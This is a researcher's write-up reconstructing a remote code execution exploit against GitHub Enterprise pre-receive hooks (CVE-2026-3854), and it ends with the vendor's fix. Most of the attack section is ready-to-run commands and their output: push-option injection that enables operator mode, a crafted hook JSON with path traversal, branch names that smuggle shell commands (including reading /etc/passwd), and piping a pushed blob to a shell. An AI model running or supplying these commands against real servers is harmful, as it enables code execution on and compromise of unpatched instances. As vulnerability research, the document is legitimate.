Analyzing GitHub Pre-Receive Hook RCE (CVE-2026-3854)
When Wiz published their writeup of the GitHub RCE, they omitted critical details needed for reproduction. The key unanswered questions were:
- What is the structure of the
repo_pre_receive_hooksJSON? - What values qualify as “non-production
rails_env”? - How did they achieve arbitrary code execution?
- Why did they specifically mention SSH?
Searching GitHub for existing PoCs yielded only a few repos with CVE-2026-3854 in the name—all were AI-generated speculations rather than working exploits.
Initial Testing: Confirming the Injection Vector
I tested push option injection on my GHE instance:
git push --push-option='x;user_operator_mode=bool:true'
This successfully enabled operator mode, producing debug output:
remote: Operator mode enabled.
remote: starting PreReceiveBlobCheck(100.00, 50.00) hook...
remote: finished PreReceiveBlobCheck(100.00, 50.00) hook in 0s
remote: starting PreReceiveRedirectCheck hook...
remote: finished PreReceiveRedirectCheck hook in 0s
remote: starting PreReceiveRefsCheck hook...
remote: finished PreReceiveRefsCheck hook in 0s
remote: starting PreReceiveRefLengthCheck hook...
remote: finished PreReceiveRefLengthCheck hook in 0s
remote: starting PreReceiveForcePushCheck hook...
remote: finished PreReceiveForcePushCheck hook in 0s
remote: starting PreReceiveLFSIntegrity hook...
remote: finished PreReceiveLFSIntegrity hook in 0s
Important finding: Testing with HTTPS push confirmed this vulnerability affects both SSH and HTTPS transport—it’s not SSH-specific.
Reconstructing the Hook JSON Structure
GitHub’s documentation provided initial guidance on pre-receive hook structure:
name: The hook namescript: The script that the hook runsscript_repository: The GitHub repository containing the scriptenvironment: The pre-receive environment for script executionenforcement: State of enforcement (enabled,disabled,testing)allow_downstream_configuration: Whether enforcement can be overridden
Based on this, I initially tried:
[{
"script": "path/to/script",
"enforcement": "testing"
}]
This didn’t work. The answer lay in the ghe-pre-receive-fork Go binary, which revealed the actual structure:
type HookEntry struct {
RepositoryID int64 `json:"..."`
Name string `json:"..."`
HookID int64 `json:"..."`
Command int64 `json:"..."`
Script string `json:"..."`
Enforcement int64 `json:"..."`
}
Note: The actual JSON field names differ from the public documentation and are intentionally obfuscated here.
The binary also revealed that “non-production” rails_env means anything other than the literal string "production".
Achieving Basic Code Execution
With the correct JSON structure understood, I executed a basic command:
git push -o 'x;rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/id","enforcement":2}];user_operator_mode=bool:true'
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 267 bytes | 267.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Operator mode enabled.
remote: starting PreReceiveBlobCheck(100.00, 50.00) hook...
remote: finished PreReceiveBlobCheck(100.00, 50.00) hook in 0s
remote: starting PreReceiveRedirectCheck hook...
remote: finished PreReceiveRedirectCheck hook in 0s
remote: starting PreReceiveRefsCheck hook...
remote: finished PreReceiveRefsCheck hook in 0s
remote: starting PreReceiveRefLengthCheck hook...
remote: finished PreReceiveRefLengthCheck hook in 0s
remote: starting PreReceiveForcePushCheck hook...
remote: finished PreReceiveForcePushCheck hook in 0s
remote: starting PreReceiveLFSIntegrity hook...
remote: finished PreReceiveLFSIntegrity hook in 0s
remote: starting PreReceiveCustomHooksCheck hook...
remote: uid=500(git) gid=500(git) groups=500(git)
remote: finished PreReceiveCustomHooksCheck hook in 14ms
To ghe.local:nonsleepr/CVE-2026-3854.git
c4ad520..31caf3c main -> main
Success! The id command executed as uid=500(git). But how do we achieve arbitrary code execution?
The Challenge: From Fixed Commands to Arbitrary Execution
Attempts to pass arguments directly (e.g., "script": "../usr/bin/bash -c ...") failed. Examining the binary revealed why:
exec.Command(filepath.Join(custom_hooks_dir, "testenv", hookEntry.Script))
The binary constructs a path and executes it—no argument passing. Since we can’t pass arguments to the executable, we need another vector for controlling execution.
Solution: Exploiting Pre-Receive Hook Stdin
Pre-receive hooks receive data on stdin according to the Git specification:
This hook executes once for the receive operation. It takes no arguments, but for each ref to be updated it receives on standard input a line of the format:
<old-oid> SP <new-oid> SP <ref-name> LF
Testing with ../usr/bin/cat confirmed this:
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 e242ed3bffccdf271b7fbaf34ed72d089537b42f refs/heads/main
The ref name is user-controlled. Git reference naming rules allow many characters:
Allowed: Slashes /, dollar signs $, curly braces {}, semicolons ;
Disallowed: Spaces, ASCII control characters, .. sequences, ~, ^, :, ?, *, [, backslashes
Crucially, semicolons and ${variable} syntax are permitted. This enables shell command injection.
Technique 1: Basic Branch Name Injection
Creating a branch with shell metacharacters:
git checkout -b ';cat$IFS/etc/passwd'
Using $IFS (which expands to whitespace) bypasses the space restriction.
Technique 2: Leveraging Environment Variables
Push options are exposed as environment variables. Testing with ../bin/env revealed:
GIT_SOCKSTAT_VAR_push_option_0=x
GIT_SOCKSTAT_VAR_push_option_count=1
We can reference push options from the branch name using environment variable expansion. Combining this with shell execution:
git checkout -b ';${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1'
Then push with commands in the option itself:
git push -o 'ls -lah;rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/sh","enforcement":2}];user_operator_mode=bool:true' origin ';${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1'
Output:
remote: ../bin/sh: failed with exit status 1
remote: /bin/sh: 1: 0000000000000000000000000000000000000000: not found
remote: total 124K
remote: drwxr-xr-x 6 git git 4.0K May 1 12:34 .
remote: drwxr-xr-x 3 git git 4.0K Apr 29 18:55 ..
remote: -rw-r--r-- 1 git git 21 Apr 29 16:22 HEAD
remote: -rw-r--r-- 1 git git 71K May 1 12:34 audit_log
remote: -rw-r--r-- 1 git git 79 Apr 29 16:22 config
remote: -rw-r--r-- 1 git git 199 May 1 12:34 dgit-state
remote: -rw-r--r-- 1 git git 0 May 1 12:34 dgit-state.flock
remote: lrwxrwxrwx 1 git git 51 Apr 29 16:22 hooks -> /data/github/current/lib/git-core/fi-template/hooks
remote: drwxr-xr-x 2 git git 4.0K May 1 12:34 info
remote: -rw-r--r-- 1 git git 78 Apr 29 16:26 language-stats.cache
remote: drwxr-xr-x 3 git git 4.0K Apr 29 16:25 logs
remote: -rw-r--r-- 1 git git 0 Apr 29 18:55 nw-repack.flock
remote: -rw-r--r-- 1 git git 0 May 1 12:34 nw-sync.lock
remote: drwxr-xr-x 5 git git 4.0K May 1 12:48 objects
remote: -rw-r--r-- 1 git git 216 Apr 29 18:55 packed-refs
remote: drwxr-xr-x 4 git git 4.0K Apr 29 16:22 refs
remote: -rw-r--r-- 1 git git 77 Apr 29 16:26 stacks-stats.cache
remote: finished PreReceiveCustomHooksCheck hook in 48ms
To https://ghe.local/nonsleepr/CVE-2026-3854
! [remote rejected] ;${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1 -> ;${GIT_SOCKSTAT_VAR_push_option_0};exit${IFS}1 (pre-receive hook declined)
error: failed to push some refs to 'https://ghe.local/nonsleepr/CVE-2026-3854'
Perfect! We now have arbitrary command execution through the push option, which accepts far more flexible input than branch names.
Technique 3: Executing Larger Scripts
For unlimited script execution, we can use Git’s blob mechanism:
Compute the blob SHA locally:
BLOB_SHA=$(git hash-object payload.sh)Pipe the blob to shell during pre-receive:
git push -o 'git cat-file blob '$BLOB_SHA';rails_env=;custom_hooks_dir=/;repo_pre_receive_hooks=[{"script":"../bin/sh","enforcement":2}];user_operator_mode=bool:true' origin ';${GIT_SOCKSTAT_VAR_push_option_0}|sh;exit${IFS}1'
The pushed blob is accessible via git cat-file during hook execution, enabling arbitrary multi-line script execution in a single push.
The Fix
GitHub patched this by modifying the babeld service’s input validation:
Before (vulnerable):
fn is_valid_push_option(value: &[u8]) -> bool {
value.iter().all(|&b| b.is_ascii_graphic())
}
After (patched):
fn is_valid_push_option(value: &[u8]) -> bool {
value.iter().all(|&b| {
if !b.is_ascii_graphic() {
return false;
}
if b == b';' || b == b'=' {
return false;
}
true
})
}
The fix explicitly blocks semicolons and equals signs in push option values, preventing X-Stat header injection.